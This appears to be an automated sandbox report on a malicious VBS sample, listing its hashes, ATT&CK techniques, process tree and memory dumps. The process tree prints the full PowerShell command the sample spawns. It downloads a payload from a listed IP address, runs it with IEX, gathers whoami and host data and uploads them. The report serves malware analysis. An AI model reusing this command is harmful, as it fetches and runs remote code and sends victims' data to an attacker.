4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924

Analysis

max time kernel
121s
max time network
122s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
30-09-2024 18:11

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General

Target

4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924.vbs
Size

778B
MD5

b8eecf433c05f73660b69c7f2e407f8e
SHA1

ad6942899ae40f00e4dd33725930e0238d5b435c
SHA256

4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924
SHA512

5b1d21349ad7bfd051be37ebb31a981de7bae3b60ee80f8014d3f49a017d484ed61af5384cda847689e5935fb36a863c98491d04980c2b817c01f32c23b8ea88

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://2.59.222.98:43820/KfngnHbxFHjaucie/page107/upgrade.txt

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
4	2100	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2100	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2100	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2100	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2512 wrote to memory of 2100	2512	WScript.exe	30
PID 2512 wrote to memory of 2100	2512	WScript.exe	30
PID 2512 wrote to memory of 2100	2512	WScript.exe	30

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4e8de351db362c519504509df309c7b58b891baf9cb99a3500b92fe0ef772924.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -w hidden -noprofile -c start-sleep 39;start-sleep (get-random -min 5 -max 43);start-sleep 11;$iik=new-object net.webclient;$flm=$iik.downloaddata('http://2.59.222.98:43820/KfngnHbxFHjaucie/page107/upgrade.txt');if($flm.Length -gt 1){$jkr=[system.text.encoding]::utf8.getString($flm);if($jkr -match 'get-content'){[byte[]] $drpy=IEX $jkr;}else{$bjdo=whoami;$bjdo+='==';$bjdo+=[System.Net.Dns]::GetHostAddresses($ip)+[System.Environment]::NewLine;$hbn=IEX $jkr;$bjdo+=$hbn|Out-string;[byte[]]$drpy=[system.text.encoding]::Utf8.GetBytes($bjdo);};start-sleep 10;$ujk=new-object net.webclient;start-sleep 16;$ujk.uploaddata('http://2.59.222.98:28402/page107',$drpy);}
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2100-4-0x000007FEF56EE000-0x000007FEF56EF000-memory.dmp

Filesize
4KB

Download
memory/2100-6-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-5-0x000000001B540000-0x000000001B822000-memory.dmp

Filesize
2.9MB

Download
memory/2100-8-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-7-0x0000000001EE0000-0x0000000001EE8000-memory.dmp

Filesize
32KB

Download
memory/2100-10-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-9-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-11-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-12-0x000007FEF56EE000-0x000007FEF56EF000-memory.dmp

Filesize
4KB

Download
memory/2100-13-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download
memory/2100-15-0x000007FEF5430000-0x000007FEF5DCD000-memory.dmp

Filesize
9.6MB

Download